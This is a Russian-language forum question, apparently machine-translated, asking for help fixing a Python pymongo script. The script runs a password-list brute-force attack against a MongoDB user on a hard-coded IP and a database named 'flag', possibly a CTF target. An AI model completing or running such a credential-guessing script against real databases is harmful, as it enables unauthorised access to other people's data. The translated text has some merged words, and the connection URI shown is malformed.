Я писал скрипт, который мог бы взломать пароль пользователя mongoDB
. Я использую pymongo
, и это то, что я до сих пор управлял:
#!/usr/bin/python
from pymongo import MongoClient
passfile = open("passwords.txt", "r")
for words in passfile:
client = MongoClient('192.108.201.2')
db = client['flag']
if db.authenticate('user', words):
print '[+] The PASSWORD is: %s [+]' % words
db.logout()
client.close()
break
else:
print '[-] DB Authentication Failed with password: %s [-]' % words
client.close()
continue
Я могу аутентифицироваться с консоли python 2.7
, используя правильные имя пользователя и пароль, но когда я запускаю приведенный выше скрипт, яполучить сообщение об ошибке:
Другой пользователь уже аутентифицирован в базе данных, сначала необходимо выйти из системы.
Я прочитал в pymongo
документах, которые db.logout
и db.authenticate
устарели, я также попытался выполнить аутентификацию с самого MongoClient
в формате:
client = MongoClient('mongodb//:user:%s@IP:27017/?authSource=flag' % quote_plus(words))
Однако я застрял на способах правильного использования вышеуказанной аутентификации вусловное утверждение. Мне нужно убедиться, что один из паролей в списке успешно прошел аутентификацию в базе данных.